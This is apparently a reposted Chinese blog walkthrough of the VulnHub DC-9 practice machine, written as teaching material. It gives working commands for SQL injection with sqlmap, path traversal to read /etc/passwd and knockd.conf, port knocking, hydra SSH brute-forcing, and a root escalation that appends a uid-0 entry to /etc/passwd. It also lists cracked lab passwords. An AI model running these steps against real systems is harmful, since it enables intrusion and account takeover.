DC系列——DC9靶机渗透测试

admin 2025年2月8日00:44:09评论10 views字数 4672阅读15分34秒阅读模式
DC系列——DC9靶机渗透测试

现在只对常读和星标的公众号才展示大图推送,建议大家能把GG安全“设为星标”,否则可能就看不到了啦!

DC系列——DC9靶机渗透测试

免责声明

本文章仅用于分享信息安全防御技术,请遵守中华人民共和国相关法律法规,禁止进行任何违法犯罪行为。作者不承担因他人滥用本文所导致的任何法律责任。

本公众号及其发布的内容的使用者需自行承担由此产生的任何直接或间接的后果和损失,GG安全公众号和原文章作者不承担任何责任。如果出现任何后果,请使用者自行承担。如果有侵权行为,请告知我们,我们将立即删除并致以道歉。谢谢!

知识先导

GG安全

vulnhub靶场地址:www.vulnhub.com

DC系列简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

前期准备

1、下载靶场

靶机名称:DC-9(包含1个flag)

下载地址:

https://www.vulnhub.com/entry/dc-8,367/

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

DC系列——DC9靶机渗透测试

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-9 login 时表示安装成功)。

DC系列——DC9靶机渗透测试

前提:DC-9和kali在同一网段 

已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

已知DC-5所在的网段

—— DC-9 IP地址:192.168.108.141/24

信息收集

获取DC-9的IP地址

命令:

netdiscover -r 192.168.108.0/24
DC系列——DC9靶机渗透测试

由图可知DC-9IP地址是:192.168.108.141/24

端口扫描

命令:

nmap -T5 -sV -p- -A 192.168.108.142//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试

获取信息如下:

端口号

服务

版本

80

http

Apche 2.4.38

22

ssh

7.4p1

操作系统:Linux 3.2 - 4.9

查看80端口的服务,进行目录扫描

DC系列——DC9靶机渗透测试

80端口,是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但是它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:

DC系列——DC9靶机渗透测试

目录扫描

dirb http://dc-9
DC系列——DC9靶机渗透测试

这里没什么发现,回到前面的web网页,可以从那四个页面入手

可以看到是一个搜索的页面和一个登录的页面,直接burp抓包使用sqlmap尝试有没有sql注入的漏洞

http://192.168.108.142/search.php

DC系列——DC9靶机渗透测试

http://192.168.108.142/manage.php

DC系列——DC9靶机渗透测试

数据包

DC系列——DC9靶机渗透测试

漏洞利用

sqlmap注入
sqlmap -r dc9-search.txtsqlmap -r dc9-search.txt--current-db
DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --tables -D "Staff"
DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --columns -T "Users" -D "Staff"
DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --dump -C "UserID,Username,Password" -T "Users" -D "Staff"

DC系列——DC9靶机渗透测试

getshell

sql注入获取到了一个用户数据
admin、856f5de590ef37314e7c3bdf6f8a66dc
尝试md5解密(https://www.somd5.com/),得到admin的密码(transorbital1)
DC系列——DC9靶机渗透测试
尝试直接ssh登录和web登录(admin、transorbital1)
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
登录之后发现可以添加用户,而且最底下一直有文件不存在的提示,尝试是否存在文件包含的漏洞
DC系列——DC9靶机渗透测试
http://192.168.108.142/manage.php?file=../../../../etc/passwd 
poc:?file=../../../../etc/passwd#结果发现可以读到passwd文件
DC系列——DC9靶机渗透测试

这里发现了很多的账号,然后回去到数据库sql注入里面查看有没有线索
sqlmap -r dc9-search.txt--dbs

DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --tables -D "users"
DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --columns -T "UserDetails" -D "users"
DC系列——DC9靶机渗透测试
sqlmap -r dc9-search.txt --dump -C "username,password" -T "UserDetails" -D "users"
DC系列——DC9靶机渗透测试
将用户名和密码数据分别存储两个文件里(充当暴力破解的字典),后续八成是需要ssh爆破连接的
DC系列——DC9靶机渗透测试
但是这里ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
补充

knockd

目的:使用 knockd 保护指定端口

作用:使用者连线前必须先依序 '敲击指定端口 (port knocking) knockd 才开放受到保护的埠口

用法:配置文件路径 /etc/knockd.conf

查看佐证

http://192.168.108.142/manage.php?file=../../../../etc/knockd.conf
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
按照要求的顺序敲击端口
nc 192.168.108.142 7469nc 192.168.108.142 8475nc 192.168.108.142 9842
可以看到使用 openSSH 的敲门顺序之后可以正常进行ssh连接了
DC系列——DC9靶机渗透测试
使用前面制作的字典对ssh进行爆破
hydra -L username -P password ssh://192.168.108.142
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
得到了三个账号密码:

账号:

密码:

1、chandlerb

UrAG0D!

2、joeyt

Passw0rd

3、janitor

Ilovepeepee

分别登录进行查看
ssh [email protected](UrAG0D!)ssh [email protected](Passw0rd)ssh [email protected](Ilovepeepee)cd /home/用户名(进入该用户名的家目录)ls -al(查看隐藏文件)
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
将获取到的密码加入到之前的密码本(password)中并重新爆破
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试
九头蛇爆破密码
hydra -L /root/Desktop/username -P /root/Desktop/password ssh://192.168.108.142
这里又跑出来了一组账号密码(fredf、B4-Tru3-001)
ssh fredf@192.168.108.142(B4-Tru3-001)sudo -l(查看有没有可以进行sudo提权的地方)
DC系列——DC9靶机渗透测试
DC系列——DC9靶机渗透测试

提权&获取flag

代码审计

判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行

第二个参数是读取第二个参数文件中的内容

第三个参数是把读取的内容写到第三个参数文件中(a是追加)

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中,从而成功提权

原理:/etc/passwd文件中含有的用户会去/etc/shadow文件中校验,如果/etc/shadow文件中没有则会无密码直接su切换用户

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败

echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' >/tmp/NB

直接进行提权

原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0的用户条目

使用:

首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

openssl passwd -1 -salt NB 123456

echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' >/tmp/NB

sudo 执行py脚本,将生成的账户条目写入/etc/passwd文件中

sudo ./test /tmp/NB /etc/passwd

tac /etc/passwd

解释:

  1. 1、按照linux用户机制,如果没有shadow条目,且passwd用户密码条目有密码的时候,可以本地su使用passwd里面的密码登录。由于这个用户的uid为0,所以也是root权限
  2. 2、passwd文件每一行的格式如下:
    • 用户名:密码(hash):uid:gid:说明:家目录:登录后使用的shell
    • NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash
  3. 3、生成密码并将账号条目写入/etc/passwd文件中
DC系列——DC9靶机渗透测试
可以看到在执行完指令之后直接变为了root(超户),提权成功
su -NB
DC系列——DC9靶机渗透测试

补充:

引言:在Linux系统中我们要想手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

    -1:表示采用的是MD5加密算法。

    -salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt8字节的字符串。

示例:[tom@localhost ~]$ openssl passwd -1 -salt '12345678'##注意‘12345678’不是密码而是密码的长度

猎杀时刻

再次声明:本公众号及其发布的内容的使用者需自行承担由此产生的任何直接或间接的后果和损失,GG安全公众号和原文章作者不承担任何责任。

edusrc邀请码 | 玄机邀请码

    免费不限量提供edusrc邀请码及玄机邀请码,可在的菜单栏资源获取-edusrc邀请码 | 玄机邀请码中获取。

DC系列——DC9靶机渗透测试
不可错过的往期推荐哦
DC系列——DC9靶机渗透测试

HW钓鱼佬思路全放送,拒绝空军!

网安面试|网络安全经典题目细讲第二课-安服篇

网安面试|网络安全经典题目细讲第一课-安服篇

绝版乌云重现:在VM中复活的安全宝藏

钓鱼佬永不空军!!看我如何社g搞定学姐继而接管站点全部权限,“严重”漏洞横空出世

burp+xray联动批量捡洞之某校目录穿越

burp suite验证码识别插件xp_CAPTCHA(瞎跑-白嫖版)

Wifi Pineapple(大菠萝)无线攻击

DC系列——DC9靶机渗透测试

原文始发于微信公众号(GG安全):DC系列——DC9靶机渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日00:44:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DC系列——DC9靶机渗透测试https://cn-sec.com/archives/3709998.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息